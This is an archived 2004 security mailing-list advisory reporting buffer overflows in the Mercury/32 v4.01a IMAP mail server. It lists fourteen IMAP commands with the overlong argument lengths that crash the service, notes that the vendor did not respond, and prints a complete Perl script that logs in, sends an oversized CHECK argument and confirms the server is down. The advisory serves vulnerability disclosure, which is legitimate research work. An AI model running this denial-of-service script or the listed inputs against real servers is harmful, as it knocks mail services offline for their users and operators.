Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.

From: Reed Arvin (reedarvin_at_gmail.com)
Date: 12/01/04

  • Next message: Martin Schulze: "[SECURITY] [DSA 603-1] New openssl packages fix insecure temporary file creation"
    Date: Wed, 1 Dec 2004 14:16:50 -0700
    To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com, vuln@secunia.com, SecuriTeam News <news@securiteam.com>
    
    

    Summary:
    Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003
    (http://www.pmail.com/).

    Details:
    Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.
    There are 14 vulnerable commands that can be used to cause buffer
    overflows to occur. After a successful login to the mail server, if
    any of these commands are used with an overly long argument the
    application closes resulting in a denial of service. The commands and
    approximate argument lengths are as follows:

    EXAMINE A x 512 \r\n
    SUBSCRIBE A x 512 \r\n
    STATUS A x 512 \r\n
    APPEND A x 512 \r\n
    CHECK A x 512 \r\n
    CLOSE A x 512 \r\n
    EXPUNGE A x 512 \r\n
    FETCH A x 512 \r\n
    RENAME A x 768 \r\n
    DELETE A x 768 \r\n
    LIST A x 768 \r\n
    SEARCH A x 768 \r\n
    CREATE A x 1024 \r\n
    UNSUBSCRIBE A x 1024 \r\n

    Vulnerable Versions:
    Mercury/32, v4.01a, Dec 8 2003

    Solutions:
    The vendor was notified of the issue. There was no response.

    Exploit:
    #===== Start Mercury32_Overflow.pl =====
    #
    # Usage: Mercury32_Overflow.pl <ip> <imap4 user> <imap4 pass>
    # Mercury32_Overflow.pl 127.0.0.1 hello moto
    #
    # Mercury/32, v4.01a, Dec 8 2003
    #
    # Download:
    # http://www.pmail.com/
    #
    #####################################################

    use IO::Socket;
    use strict;

    my($socket) = "";

    if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                        PeerPort => "143",
                                        Proto => "TCP"))
    {
            print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";

            sleep(1);

            print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";

            sleep(1);

            print $socket "0001 CHECK " . "A" x 512 . "\r\n";

            close($socket);

            sleep(1);

            if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                                PeerPort => "143",
                                                Proto => "TCP"))
            {
                    close($socket);

                    print "failed!\n";
            }
            else
            {
                    print "successful!\n";
            }
    }
    else
    {
            print "Cannot connect to $ARGV[0]:143\n";
    }
    #===== End Mercury32_Overflow.pl =====

    Discovered by Reed Arvin reedarvin[at]gmail[dot]com
    (http://reedarvin.thearvins.com)

    All vulnerabilities discovered using PeachFuzz
    (http://reedarvin.thearvins.com/tools.html)

    RENAME overflow discovered by NoPh0bia noph0bia[at]lostspirits[dot]org
    SELECT overflow discovered by JohnH JohnH[at]secnetops[dot]com


  • Next message: Martin Schulze: "[SECURITY] [DSA 603-1] New openssl packages fix insecure temporary file creation"

    Relevant Pages